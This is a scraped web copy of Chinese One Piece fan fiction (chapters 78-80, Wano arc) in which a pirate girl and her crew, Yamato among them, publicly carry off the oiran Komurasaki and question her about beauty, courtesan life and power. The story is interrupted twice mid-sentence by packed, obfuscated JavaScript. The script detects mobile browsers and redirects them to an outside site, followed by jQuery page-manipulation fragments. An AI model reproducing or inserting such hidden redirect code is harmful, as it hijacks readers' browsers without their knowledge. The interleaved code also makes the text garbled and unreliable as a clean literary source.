“怎么回事，没听到吗？”路希很是不满，她分明喊得超大声，结果底下的人群这么不给面子。但她素来是个贴心的好人，也不介意再说一遍，于是再度高声开口，“我说我们来抢花魁小紫，听到没？我、们、来、抢、花、魁、小、紫——” 怕大家听得不够清楚，路希还特地放慢了语速，一字一句重重说道。 即将被抢的主角，花魁小紫不自觉张大了嘴，怔怔地看着屋顶上的五个人。 站在最中间，也是说出这番违法乱纪言论的，是一个戴着白狼面具，看不清具体面容的女孩。在她的左边，是一个年龄稍长，但尚不足以称之少年的年轻女孩。而右边的两个，就是实打实的少年人了。一个黑色短发，眼神闪烁着兴奋的光，一个白色长发扎起来，头上长着鬼角……不知是装饰还是天生的。 不可否认，在看到这对鬼角时，小紫下意识想起来同样拥有鬼角的那个男人，和之国的护国明王——凯多。 一丝说不清道不明的情绪攫住了她的心脏，她匆忙转移视线，落到最左边的女人身上。 然后，她再次怔住。 那是一个很美丽的女人，金发赤瞳，如华丽无双的上好宝石。作为以美貌胜出，成为花魁的小紫，忍不住多看了对方几眼。这个女人的容貌毫不逊于她。璀璨的金发在阳光照耀下，有些灼眼。 这群人是什么来历？小紫不由心生困惑，为何此前从未在和之国看过她们，尤其是最左边那个女人……拥有如此容貌，总该在游廓有些传闻，毕竟游廓的女人们本身便是以美貌吸引男人，而男人们也因美色前来，因此对于貌美女人的存在，总是能更早察觉。 小紫到不认为这群人与她有什么仇怨，毕竟往日里欺骗的那些豪绅，她都是做过调查，确认家庭情况才下手的，而那些人的家中，从未有特点如此鲜明女性。 她不安地想到另一种可能性，莫非是外来者？观她们身上的服饰，只有那个鬼角少年是此地装扮。 要知道，和之国奉行闭关锁国政策，国民们不被允许外出，也不允许外人进入。但是，鬼岛的海贼们是个例外。 是与鬼岛的海贼有关，亦或只是无意闯入和之国？若是后者，那她们这么做，岂非要惹个大麻烦，毕竟，这里是黑炭大蛇与凯多的地盘啊。 她有些为难地思考着该说点什么才能劝退这几个人。 而在寂静过后，街道骤然爆发出喧闹声。 “什、什么情况啊……” “这群人是谁？” “竟敢公然来都城惹事……” 好奇的、看乐子的、怜悯的……几秒钟的功夫，人群中再次热闹起来。 粗壮的树干依然盘踞在小紫身前，阻挡她的去路。屋顶上的五个人一副恣意妄为相，看不出半点尊重此地统治者的意思。自多年前光月御田身死，赤鞘九侠完败，和之国全权被黑炭大蛇与凯多掌控，几乎没有出现过这种可堪说是大逆不道的事。 毕竟，在场众人都清楚，花魁小紫既是和之国第一美人，也是黑炭大蛇最喜爱之人。通常情况下，游街结束，花魁小紫便要受邀前去大蛇的宅邸为他奏曲了。 “你们是什么人，快快退下！” 护卫们挡在小紫前方，厉声叱喝。 路希双手叉腰，气势十足喊道：“都说了我们来抢花魁，你说我们是什么人。” “可恶的强盗！竟然敢闯入都城！” 贝格不爽地反驳：“谁是强盗，我们是海贼！” 海贼二字一出，那群护卫的气势陡然弱了几分下去，而街道上原本热闹的议论声，也逐渐淡了下去。 这个国家的海贼，不就是鬼岛的百兽海贼团吗？而观这几个人狂妄的态度，和平日里看到的那些海贼几乎没什么差别。如果是百兽海贼团的人要抢走花魁…… 小紫的脸苍白了几分，虽然由于白粉扑面，她的脸庞本就白得可怕，旁人根本难以看出脸色的变化。 “你们是哪里的海贼？” 慌乱间，有一道男声自远处传来，而随着这道男声一同抵达现场的，是锐利的剑气。这剑气如迅雷，直接袭向挡住去路的粗壮植物，将它们平整的切割成三段，滑落在地。而一旁的花魁小紫与护卫们，却毫发无损。 路希看着被破坏的植物们，意味不明地“唔”了一声。 “这人不差。”大和点评道。 剑招过后，护卫们爆发出欣喜的喊声，仿佛瞬间有了主心骨。 “狂死郎大人！”“是狂死郎大人来了！”“太好了。” 来人身材高大，眯眯眼，留着奇怪的发型，手中剑刃散发着淡淡银光。小紫垂下双眸，对他颔首致意，随后退至他身后。 “狂、死、郎？” 路希念出他的名字。 狂四郎抬头，唇角上翘，看上去倒是友好做派，前提是忽视他手中利刃。从刚才一招便可看出，他实力不弱。 “不知几位来客是哪里的海贼？” 路希自上而下俯视着他，慢悠悠地，相当有兴致地说道：“当然是、外来的海贼。” “哦？” 狂死郎握剑的手，缓缓加大了力气，似乎马上就要不留情面发出下一招。 “刚加入百兽海贼团，当上飞六胞。” 而在狂死郎有所行动之前，路希好心地补充道。 这位武士手中的动作，忽然暂停了一下。他当然知道什么是飞六胞，但是，刚来就成为飞六胞？这人竟有如此让百兽凯多另眼相看的实力？而他还没来得及收到任何讯息。 表面的身份是游廓老大，兼黑炭大蛇的护卫，实际身份是赤鞘九侠，真名为传次郎，现今改为狂死郎的武士，重新思考起眼前的形势。 眼前之人看起来并非不讲道理之人，若能好好沟通，或许可以减少一场麻烦。毕竟身后之人，可不能出了差错。 小紫长袖捂面，遮掩住自己的神色。没想到，居然真是凯多的人。果然海贼都是一群恶劣之徒，连游街都要前来捣乱。 狂死郎上前一步，问道：“不知阁下为何要抢花魁？” 路希觉得他问的问题简直莫名其妙。“有什么不能抢的吗？既然她都把自己当成一件可供展览的物品，任凭他人打量点评，那我抢一下怎么了？我们海贼本来就是看到珍稀的物品就想抢过来的啊。” 小紫陡然握紧拳头，这是何等、何等的无礼！她瞬间感到受了极大羞辱。而在她身前的狂死郎脸色也沉了几分下来，“花魁并非随意抢夺的物品，小紫是凭自己实力争取到花魁的位置，请尊重她。” 路希真诚发问：“什么实力？讨好别人的实力吗？” 她是真的困惑这个问题。 若花魁是以美貌胜出，那这美貌由谁定量？自然是有为其打分的人，才有了美貌的测量分数。那么，何为美？何为不美？ 肤色白皙、高鼻梁、眼睛大而有神，就算美吗？可如果有人不喜欢这种长相，偏巧觉得与这种长相相反的才是美，那么小紫，还能当上花魁吗？花魁的决定权并不在于花魁本身，美人的定义也不在于美人本身，而在于掌握定义美——这份权力的人。 因此花魁，也就是要费心心思，讨好他人的存在。只有这样，花魁才能坐稳这个位置。 可偏偏，路希不喜欢这种事。 那些男人看花魁的眼神，路希看得很清楚。那是轻佻的、毫不尊重的、贪婪的，令人生厌的眼神。而这个叫小紫的女人，打败其她女人，夺得花魁这个称号，就是为了接受这些眼神的打量。 她把自己摆放在权力的最下方，却因着那些最不值得一提的赞美与小恩小惠，误以为自己站在最上层。 路希不等狂死郎接着变脸色，继而好奇问道：“你是组织这场花魁游街的人？” 狂死郎的怒气蓄力被打断，语气生硬地回答：“……是。” 路希又往下问：“你是培养花魁的人？” 狂死郎不明所以，但还是回答：“是。” 路希笑了一下，“你是不是养着很多女人，然后把她们一个接一个朝着花魁的方向培养？” 狂死郎确实在游廓开着一家坊院，养着很多女人，也确实把小紫以及那些往花魁的方向培养，于是他只能再次点头，称“是”。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15620393|162461||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >路希又看了一眼那些能打的男护卫，和作为保护对象，柔弱到不堪一击的花魁小紫，问狂死郎：“那这些女人平时要做什么呢？” 狂死郎怔住，“这……” 这个答案，不是很好理解吗？谁都能知道答案。游廓里的女人，当然是为了侍奉男人而存在啊。男人们需要一个休憩的地方，需要一个有着温柔解语花的地方，需要一个女人永远会笑着讨好他们的地方，需要一个释放自己压力与欲望的地方，因此，游廓诞生了，而无数的女人进入其中。 狂死郎没说，路希也能明白。她只是喜欢这种踩在别人头上，一步步质问别人的感觉。 路希几乎是带着一丝微不可查的恶意继续问了下去，“说来，一直以来的花魁们，有男人吗？” 狂死郎的脸色瞬间绷不住了，他发现这个刚到和之国的外来海贼似乎缺乏了某种常识。他正色道：“怎么可能，花魁当然只有女人能当，男人怎么可能成为花魁。” 有几道的小声的窃笑自人群中传来，似乎在嘲讽提问之人的无知。 路希一副求学好问的态度：“为什么男人不可能成为花魁？” 狂死郎声音加重了几分，“男人，怎么可以进游廓当花魁！” 狂死郎看着提问的女孩似乎依旧十分困惑，不能理解的模样，他听见她继续发问：“为什么？是不喜欢花魁这个称号吗？那也可以改个称呼，叫男魁啊，颁发给第一美貌、第一会服侍女人的男人，赐于好男人，男魁称号！” 这一瞬间，狂死郎确认了这个人就是在逗弄自己，厉色说道：“别开玩笑了，男人才不会做这种事。” “哈哈哈哈哈哈，”路希捧腹大笑，“真是好高贵的男人啊。” 此时街上一片寂静，无人敢出声干扰她大笑。狂死郎只觉身心煎熬，在上方几个女性的眼神扫射中，好似有蚂蚁在身上爬。他恨不得立刻结束这一切，海贼们实在难缠。 路希笑够了，叹息道：“哎，你一看就不是好男人，长得丑，跟妖怪一样就先不说了。就这种态度，进了游廓服侍女人，连给她们提鞋都配不上。” 狂死郎强硬道：“那可真是看岔了，爱慕我的女性姑且还是很多的。” 路希淡淡说道：“是啊，因为你坊院里的女性，都得仰赖你而活。” 分明隔着面具，狂死郎依旧能感受到对方传来的蔑视之意，事已至此，他心想，无需以礼相待。纵然对方是飞六胞，但狂死郎的这个身份，在和之国地位也并不低。 黑炭大蛇欣赏他，需要他，愿意让他当护卫，而他与百兽海贼团亦是交好，大看板奎因对小紫也有几分痴迷。若非因为他忠心侍奉的是光月御田，飞六胞这个位置，他想当也不是不能当。 这次当街抢人，本身便是这个飞六胞无礼在前，若凭实力打败了对方，事后解释一番，并不会出什么大问题。 然而，在他准备用剑招招待对方时，那个面具女孩又再度开口，“说来，我只是介绍了自己，还没好好介绍我的伙伴呢。” 他听见她轻轻一笑，“我叫小希，是最新上任的飞六胞，这个呢，叫乌塔，是我的姐姐。这两个呢，一个叫贝格，一个叫芙丽那，是我的手下。” “对了，至于这个最高的，她叫大和，是你们护国明王，也就是凯多的女儿哦！来，大和，跟大家打个招呼吧！” “咦，我吗？” 大和在旁听了许久，自从重新接受女人身份后，她发现还有许多需要自己慢慢思考和去了解的事情，像是重新成长了一回。但是，这种感受并不讨厌，反而相当新奇。她在踏入一个全新的世界。虽然以凯多女儿的身份对这些人打招呼似乎并不友好，毕竟凯多对和之国实在没做什么好事。然而，身份有时也是一种象征——她们，不是可以随意招惹的人。 于是大和脚踏前一步，高举着手，热情地跟底下的人群挥手，“哈哈，没错，我是凯多的女儿啦。” 路希也举起双手，欢呼道：“大家，对我们的自我介绍还满意吗！诶，怎么没有掌声呢？” 与这句话同时传入民众耳朵的，是多年来凯多支配和之国带来的恐惧，一瞬间，掌声雷动。 狂死郎的手按在刀柄上，一时动弹不得。 79.和之国 躲在狂死郎身后的小紫，身躯微微颤抖，她捂着嘴，像是在努力抑制着某种情绪。周身疯狂响起的掌声恍若一个个巴掌，落在她的脸上，又好似一支支利箭，刺中她的心脏。 是这样，又是这样，如当年那样……凯多侵占和之国的领地，践踏着这片土地上的国民与她的父亲，而民众却还要为此欢呼呐喊，赞颂他的统治。 哪怕除却花之都外，其它地区的人们几乎难以生活。即便灾难是如此鲜明的降临到这片土地，人们也要装作视而不见。 她几欲呕吐。 花魁小紫，与狂死郎同样，除却这层表面的身份，真名唤作光月日和，乃光月御田之女，和之国的公主。 数年前她的父亲战败，受釜煮之刑，赤鞘九侠在最后一刻被他扔出人群外，侥幸逃脱。她的母亲光月时，用恶魔果实的能力将她的哥哥与千辛万苦赶到九里的几位赤鞘九侠送往二十年后，为了以防万一，她被母亲留了下来。九里燃起大火，好在剩下的一位赤鞘九侠河松及时赶到，在战乱中救下她。而母亲，却决然地奔赴死亡，与父亲黄泉相见。 光月日和的心中，从未忘记对黑炭大蛇与百兽海贼团的恨。而如今照耀在她身上的日光是如此灼眼，几乎要将她内心的愤恨彻底点燃。她死死握拳，身怕下一刻便克制不住自己冲出去，怒骂高高在上的这几个海贼。 她们究竟是怎么有脸面说出这些话的？居然还要民众们主动对她们问好？甚至先前，还要那般折辱传次郎与她。 掌声久久不曾停歇，因为那位飞六胞、那位凯多的女儿，还未出口要求他们停下。 光月日和的指甲陷进皮肤，而她却感受不到任何疼痛。 终于，像是听够了，满足了，带着面具的女孩才慢悠悠开口：“好了哦，感受到大家的热情啦，谢谢！谢谢！” 光月日和的脸有一瞬间的扭曲。 她居然还能饶有兴致地鞠躬。 路希鞠躬完毕，视线越过狂死郎的肩头，落到躲在屋檐下，被阴影覆盖的小紫身上。红伞挡住了她大半的脸庞，藏在袖子里的手捂住嘴，她没有鼓掌。 在所有人都屈服于百兽海贼团的恐惧，卖力献上掌声的时候，唯独她与狂死郎未鼓掌。是因为过度害怕不敢动弹——毕竟她们才刚说过要抢走花魁——亦或是不愿鼓掌。 路希想起在白舞的镇子上见到的情景，房屋破烂，呜咽声随处可见。小紫是在这样的环境中长大，并且因为容貌好看被选中，来到狂死郎的坊院，成为花魁的吗？ 倘若如此，想必小紫对狂死郎必怀抱着感恩的心情，而同时对造成悲惨生活的黑炭大蛇与百兽海贼团极为怨恨。 不过管她呢，路希心想，她既然决定了要带走小紫，那就一定要带走小紫。况且，难道只有在游廓生活才算是唯一的活路吗？ 路希拍拍手，示意大家安静下来，笑道：“对了，我们刚才不是说要带走花魁吗？我想了想，直接带走确实有点失礼。毕竟花魁这么好看，大家也都很喜欢看吧。”她歪歪脑袋，故作天真，说道，“所以，我想征求你们的意见。大家，请问我们可以带走花魁吗？” 空气死寂一秒，随后，骤然爆发出喊声。 “可以可以。”“欢迎带走——” “哈哈哈、只是花魁啊……反正还会选出下一个花魁的……”“大人们开心就好……” 几乎是异口同声的回答。虽然有些人的话语中能听出不舍和勉强之意，然而，他们还是痛下决心，将她放弃了。先前那些迷恋与追随，一霎那消失无踪。 光月日和摇摇欲坠。 与先前为民众被逼迫鼓掌，为他们，为自己感到耻辱的悲愤不同，此刻，在光月日和心中席卷的，更多的是名为痛心的情绪。 没关系的、没关系的、她对自己说，这不是他们的错。他们很喜欢自己……但是，敌人是凯多的女儿和部下啊。作为普通人的这些平民们，又能怎么办呢？若是敢反抗，只要黑炭大蛇与凯多一声令下，这些人就会立马被丢进工厂服刑。 而且…… 她决绝的目光落在了狂死郎身上，这位赤鞘九侠，光月家忠实的家臣，绝不会舍弃自己。只要这样便足够了，只要知晓有人支持自己，支持光月家族，她便能坚定地向前走。光月家必定会卷土重来，武士和她的哥哥一定会带着希望归来。 哒一声，木屐抬起，落下。 光月日和上前一步。 “承蒙喜欢，小紫愿意随大人们一起同行。” 狂死郎朝身后瞥了一眼，从对方的眼神与话语中看见她的决心，心重重下沉……莫非公主决意牺牲自己，可是……昔日光月御田牺牲自己将他们从油锅送走的景象浮现眼前。究竟要到何时，这种悲哀的事情才会停止。 狂死郎握刀的手，微微往后移了一点，刀刃反射着有些刺眼的光。 只剩下最后一招了。 自从日和成为花魁，黑炭大蛇展现出对小紫的疯狂痴迷，时不时要求她前往将军府弹奏乐曲助兴时，光月日和的衣物里便藏有一袋血袋，是为了防止意外发生，狂死郎好假意攻击日和，让她有假死脱身的机会。 没想到，这一招没在黑炭大蛇那用到，反而在现下这种场合用到了。一旦假死，日和便不能以小紫的身份出现，之后必须得小心躲藏起来，以免被人发现。 狂死郎下定决心，决意即便惹怒这群海贼也要这么做时，路希又再度开口。 路希其实并不清楚自己为何会注意到那一点，但是，那一瞬间，刀刃的反光让她有些看不太顺眼。狂死郎举着刀多久了？她一贯喜欢让事情顺着自己的心意发展，因此跟随着自己的直觉，毫不犹豫命令道：“把刀放下。” 狂死郎愣住，确认这是对他说的话后，不再犹豫，准备立刻挥刀砍向小紫。然而，也是在这瞬间，人群中爆发出巨大的喊声。他举刀的动作顿了一下，望向人群，这是生了什么变故？ “啊啊、救命……救命啊、”“这是什么东西……”“哇哇，我被卷起来了。” 路希确信，在那短短的半秒内，她从狂死郎身上感受到了一丝微小至极的杀气。她对着看向人群，正在厘清发生何事的狂死郎高声命令道：“我说，把刀放下。你的刀，太危险，手滑伤到花魁的脸怎么办？我们不就是看中这张脸才要带走小紫吗？” 路希毫无客气之意：“你不听我的话，我就用藤蔓绞杀这些被我绑住的这几个人。” 赤裸裸的威胁，狂死郎的脸色肉眼可见地变得难看起来。但下一秒，他马上收拾好自己的情绪，故作轻松笑道：“哎呀，我可是大蛇将军亲自任命的护卫，几位大人何故不信赖我的实力呢？” 路希也笑了，“我就是不信赖，你又能怎么样？现在，这几个人的性命掌握在你的手中。狂死郎，你、要牺牲他们吗？” “狂死郎先生……” 日和的声音在他身后小声又急促地传来，隐含担忧之意。 与此同时，那些人凄厉地喊声传到狂死郎的耳中：“救命、不要哇！”“狂死郎大人，救救我们啊。”“你只要把刀放下就就可以了啊！”“狂死郎大人，快把刀放下啊。”“我不想死啊……” 如若他执意让小紫假死……狂死郎可以想象，自己在这些人心中的声誉，发生会下滑到零点。因为花魁到这些海贼们的手中不一定会死，但若花魁死了，这些人必定会死。而这，是他狂死郎一手造成的。 并且，这些人本就在更早些时候，便放弃了花魁，将她拱手送给海贼了。 见狂死郎僵持在原地没有动静，日和的神色也不由得凌厉起来，语气带着强硬，不知不觉夹带了命令之意：“放下刀，狂死郎先生。” 狂死郎缓缓地将刀扔在地上，随后举起双手，嘴角高高上翘，眼角弯弯，一副乖乖听令的模样：“这样子，就可以了吗？” 然而内心，却几乎是滔天巨浪般的愤怒：这样，这群海贼就能满足了吗？ 路希没回她，只是看着小紫。小紫越过狂死郎，又向前几步，脸上看不出任何惧怕、屈服之意。随后，她像是有些苦恼地皱起眉，望着路希一行人。“请问，我该怎么上去呢？” 路希耸耸肩，“你不用上来啊，我们会下去。” 她第一个跳下来，然后转身看着还在屋顶上的乌塔，张开双手，声音嘹亮喊道：“乌塔——” 乌塔点头：“嗯！” 她跳下来，落入路希的怀中，被她放在地上。紧接着跳下来的是大和、贝格、芙丽那。就这样，倏然间，光月日和与她们站在同一个平面上，无需继续高高仰视这群人。甚至因为身高差距，反而是路希需要抬头看她。 光月日和：“……” 不知为何，她心中视死如归的心情莫名消去了几分。这个看起来像是主心骨的海贼，说白了，是个年龄还没她大的小孩……光月日和的心情有些复杂。 她与狂死郎刚才都被一个小孩威胁了。 现在这个小孩的气势不复刚才凌厉，但先前的行为举动已在光月日和的心中种下对方不好惹的种子。即便对方语气轻松地说：“走啦，站在这里也没事做。”她第一时间的想法也是对方不安好心。 然而，人在屋檐下，不得不低头。她只能跟随着这群人往前走，身后，是被她们丢下的那些人们与狂死郎那双看不清情绪的眼睛。 光月日和很想鼓起勇气发问：我 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15622521|162461||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 们要去哪里呢？但花魁和游廓游女的身份让她习惯于听从别人，而非主动发问。 倒是那个黑色短发，比她高出一个头的少年，走到她旁边嗅了嗅，然后又有些嫌弃地走远。 光月日和有些紧张，她身上有什么奇怪的味道吗？不应该啊，明明游街前，衣服这些都进行了专门的熏香。 只见贝格神态厌厌地开口：“你身上好香，我鼻子好难受。” 乌塔没形象地翻了个白眼，开怼：“谁让你是狗鼻子。” 大和摸了摸自己的鼻子，也靠近日和，嗅了嗅她身上的味道。“是有点香，不过我的鼻子好像没你这么敏感？” 贝格抱怨：“你是个虚假的犬犬果实能力者。” 光月日和的身体原本因为大和的靠近有些僵硬，但在她们一番对话后，缓缓放松下来。先前对峙时，只觉得这些人是一群极为不好惹的海贼，毕竟一个是凯多的女儿，一个是飞六胞。然而真正接触过后，发现她们聊天的内容又极为正常，就是普通朋友间会闲聊的话题那些。 “话说，”路希瞅了小紫脚上高高的木屐，问道，“你穿这个东西，衣服看起来又很厚重，头饰还那么复杂，不会走得很累吗？” 话题再次落到她身上，虽然与她预想中的有些不同，但不是什么恶意的问题。光月日和语调优雅，“不，我习惯了。这些都是花魁游街时必须要有的穿着。” 大和很好奇：“那这不是你第一次当花魁了吗？” 光月日和矜持地点点头，“是，我姑且还是很受欢迎的，刚正式成为游女不久便当上了花魁。” 乌塔看着她一身花里胡哨的衣服，忍不住伸出手摸了一下感受触感。“哇，这个衣服的材质好好啊。” 于是贝格也忍着香气上手摸了一下，然后又摸了第二下，在准备摸第三下的时候被芙丽那拦住了。 路希看了小紫一眼，忽然问道：“你是什么时候成为游女的？” 这个问题更加没什么不好回答的。光月日和有些自豪地回道：“十五岁。我十三岁那年遇见狂死郎，接受对方的培养，十五岁正式出道，一出道便成了花魁。” 路希有点不敢相信自己听到的话，“你十三岁就要学着讨好男人？！” 光月日和：“……不、不是讨好男人。游女，是要学很多东西的，舞蹈、乐器……”可能是对方的语气太过不可思议，她有些尴尬地找补。 路希看着她，问道：“但是，你学的所有一切，不都是为了讨好男人而存在吗？” 光月日和没法回答。 路希相当没有眼色地继续说道：“你后悔了吗？” 光月日和不解其意，茫然发问：“什么？” 路希道：“有那么一瞬，后悔成为花魁吗？” 她手指了指身后遥远的人群，说：“这就是你作为花魁得到的一切啊，虚伪的赞美，虚假的爱意，下流的追随，在面对真正的危险前，便可以轻易将其抛弃。因为这世界上，从不缺乏好看的女人。只要满足他们的评价需求，立马会有下一个花魁诞生。你用美貌得来的一切多么脆弱啊。” 光月日和沉默一瞬，强硬道：“……这、并不是他们的错。” 路希：“……” 一直保持安静至现在的芙丽那微微叹了口气，“小希不是这个意思。迫使他们必须抛弃你的人是我们。而她，只是想问你，追寻美丽容颜的这条路，将自身放在一个被挑选、打量的位置，费尽心思与其她女人争抢，祈求他者的评价，看似用美貌掌控他者，拥有主动权，其实一切都是因为在他者的容忍度内。就像刚才发生的事，这份美貌在真实的危险面前不值一提，在那个瞬间，你还想继续成为花魁吗？” 日和抬眸，看向这个金发赤瞳，形貌昳丽的女人，一时无言。 路希像是没注意到她的沉默，继续自顾自地说了下去，“说起来，那个叫狂死郎的男人，剑术很不错呢。能精准的越过你砍断我能力召唤出来的植物。” 终于换了个话题，日和内心松了一口气，语速加快了几分：“是，他是很厉害的武士，即便是将军，也不得不承认他的实力强大，将他聘请为护卫。” “可是，他这么厉害，却没有想过教你剑术呢。” “诶？” “他是那么厉害的武士，强大到连黑炭大蛇都信赖他的实力。然而，他却只教你怎么打扮得好看，教你怎么在男人的评价中得到满分，越过一众不合格的女人成为花魁，却从来没有想过，把剑术教给你呢。” “……这、其实……我与他，要做的事情不太同。” 大和扛着狼牙棒，忽然加入对话。“那到底是哪里不同呢？” 80.和之国 究竟是哪里不同？ 若要让光月日和说出去个所以然，她自己也不清楚要说什么。 十三岁那年，她因不想拖累河松，留下一封信，偷偷离去，流浪到花之都。机缘巧合下与变更身份为狂死郎的传次郎相遇。他是父亲的家臣，潜伏在都城与黑炭大蛇旁只为了等待哥哥他们归来，为复国做准备。 对光月日和而言，他是可以完全信任的存在。因此，她便这样接受了对方的培养与教育，化名小紫，从一个流亡的公主，变成和之国最美丽的花魁。 她从来不觉得这有什么问题。 狂死郎是赤鞘九侠，是父亲的家臣，是他出生入死的好伙伴，是强大的武士，他绝对是正确的、为她好的。 而她的这张脸也同样吸引了现任将军，那个可鄙的窃国者，黑炭大蛇的注意。 黑炭大蛇痴迷于她的脸与她的乐曲演奏技巧，每每有宴会，便要召集她前去弹奏音乐。她同狂死郎一样，成功潜伏在大蛇身旁。 复国、复国。 然后，她只需要按捺住自己的悲痛与愤怒，静心等待哥哥与武士们穿越时间，回来即可。父亲曾留给母亲一封信，告知她，二十年后，必定会有能打败凯多之人，使和之国开国之人出现。 她无比坚信这一事实。 可是，在那一天到来之前，她却先遭到质问，有后悔当花魁吗？教她游女的本领与教她武士的剑术，有何不同？ 光月日和无法回答，这涉及到太多隐秘。 她心想，如果真要说出哪里不同，就必须得告知她的真实身份。她是和之国的公主，她是为了复国，潜伏在黑炭大蛇身边才这么做的，她不是为了讨好男人，狂死郎绝对没有恶意，她的一切行事都是有意义的……可是，她怎么可以对凯多的女儿和部下说出自己的身份。 于是，她几乎是带着点委屈，和不被旁人理解的恼怒说道：“不同就是不同。而且，我周围……没有女人是拿剑的啊。” 而也是脱口而出的瞬间，光月日和被自己语气中夹杂着的情绪吓了一跳。她竟然这么轻而易举地被几句问话操控了情绪。光月日和感到脸颊有几分发烫，飞快地扫了所有人一眼，生怕被察觉出哪里不对。 可却无人应声，只有轻重不一的脚步声在街道上响起。 光月日和感觉自己从未这么紧张过。为什么，不说点什么回答她，她有些焦躁地想。她看着那个叫小希的孩子，对方只是迈着同先前一样的步伐行走着。她又小心瞥了一眼那个问出有什么不同的女人，结果对方正巧看着她，似乎正思考着什么。 光月日和身体僵住，但大和只是对她笑了一下，似乎在安抚她的情绪。 光月日和有些尴尬地收回视线，然而下一秒，眼神又不受控制地落在大和肩上的狼牙棒上。同时，她想起先前挡住去路的那几颗植物枝干。 是了，她想，怪不得这群人会问出这几个问题，她们与她是截然不同的。她们有武力值，能打，并非同她这般，是逃亡之人，要东躲西藏的生活。她与她们之间有着完全相反的人生。 她们很强，正因为强大，所以无法理解身为弱者的悲哀。她们无法理解，在凯多与黑炭大蛇统治的和之国，作为他们死敌的女儿，要活下去，是多么不容易。她不是能举起剑的女人，然而作为花魁，她也为和之国的人民付出了不少努力。 像是为了证明自己，又仿佛是不想认输，她微微抬起下巴，带着内心的那股自尊说道：“虽然我不会用剑，但好歹，自成为花魁以来，我也是用这个身份，把好几个豪绅的家财骗的一干二净。而这些人的钱财，都被我偷偷拿去赠送给外面的贫民们了。” 她想，没错，这就是她和传次郎所行之事的不同，每个人都要在每个人的位置上做事。 然而路希只是用很淡的声音问她：“你骗了多少豪绅？” 光月日和从未去记具体人数，但对方问起，她还是认真回忆了下，应道：“至少有二三十人。” “你骗了多久？” “从我当上花魁起。” “你今年几岁？” “十七。” “你骗了两年，但豪绅还是没有骗完。一个豪绅被你骗完了钱财，立马有第二个豪绅继续出现被你骗。豪绅来来去去，却总是不见彻底消失的迹象。” 路希侧头瞥了她一眼，继续说道。 “你一定也明白，这不能真正解决和之国民众的问题，是吧。就算暂时得到了钱财，他们最终还是会继续贫困，继续过上食不果腹的生活，因为真正的罪魁祸首，是将军城的黑炭大蛇与鬼岛的凯多。” 光月日和沉默片刻，回道：“你们是凯多的部下……” 她不应该这么说话的，光月日和心生警惕，她们莫非是凯多那边派来查探情况的吗？是敌方察觉到哪里出问题了吗？ 路希耸耸肩，“我刚来，对凯多忠诚度还没这么高。而大和，”她指了指大和，像是想起了什么好笑的事，先忍不住笑了几声，才说，“哈哈，她之前想当光月御田，被凯多打了十几年呢。” 光月日和：“……？” 光月日和困惑的目光落在大和身上，这个人想成为谁？ 大和有些不好意思的摸摸鼻子，回道：“哎呀，以前的事就忘掉吧，我现在是只想成为大和的大和。” 光月日和被对方的话绕迷糊了。 乌塔跺了跺脚，道：“你们聊跑题了！现在的问题是，小紫当花魁对解决和之国的情况根本没什么帮助。” 路希一点头：“哦，对耶！”她看了小紫一眼，无情说道，“虽然你好像有一颗很想帮助和之国那些贫苦百姓的心，但你所做的事永远也不能解决真正的问题。因为豪绅们最多只会被你的美色骗光钱，而不会被你的美色蛊惑去打凯多。甚至于，你用美色吸引来的，一旦出现第二个比你更美的人，他们便可能会转头那人怀抱。而那些收到你帮助的百姓，用光了这笔钱后又只能继续贫困的生活。” 像是想到什么，路希继续补充，“你这种很有名气的花魁，平时也不能随便走动吧。所以你也不清楚，那笔钱到了人们手中，会怎么被他们使用。” “是买很多很多食物囤着，还是拿去大赌一笔，或者想试着去投资什么产业，结果被用心险恶的人骗光，也可能是拿着这笔钱来到游廓，点几个女人好好服侍自己。或许，你从那些豪绅手中骗走的钱，到最后又用另一种形式到其它豪绅手中，然后再度上供到你这里。” “因为豪绅的钱就是压榨这些人得到的。但你却没有办法看见这一切，看见他们如何使用这笔钱。因为你是个只能待在花之都，待在坊院的花魁。” “说不定，你骗来骗去，最后骗的几乎都是同一笔钱。” 光月日和：“……” 这种将她所做的一切全部归纳为无用的行为，终于让她忍不下去了。她反驳道：“就算这样，我至少也为了和之国的人们努力过，而你们呢，你们不过是凯多的走狗，是让和之国的人们陷入水深火热的可鄙海贼们，不管我的行为有没有用，你们都没有资格来指责我。” 路希摇头，道：“我没有在指责你。因为说到底，我只是在问你一个问题，狂死郎作为那么出色的剑士，为何只教你当花魁？” “什么？” 光月日和有些难以置信，原来她们还在这个问题上打转。 路希停下了脚步，站在原地看着小紫，问：“凯多是怎么占领和之国的？” 光月日和：“……” 她犹豫片刻，还是答道，“他与黑炭大蛇联手，打败了守护和之国的光月家族。” 路希一拍手，道：“是吧！他是用武力征服的这片土地，而不是当花魁。” 光月日和：“……” 路希继续问道：“光月家族为何失败？” 光月日和不是很想回答这个问题。乌塔注意到她的沉默，主动替她答道，“我知道，因为光月家族打不过凯多。” 路希鼓掌：“乌塔满分！”然后她重新看向小紫，道，“他们也不是因为花魁当得太失败，以至于民众不喜欢转而支持凯多。光月家族——光月御田与其武士，和凯多与黑炭大蛇进行的是一场实打实的战斗，牵扯到国家这个层面，或者说，战争更合适。” “各自的兵马，武器，自身的武力值以及必要时刻用上的诡计。他们比拼的是这些，而并非是可以成为花魁的美貌。凯多胜出了，于是他得到了和之国，掌控了这个国家国民的生活。” 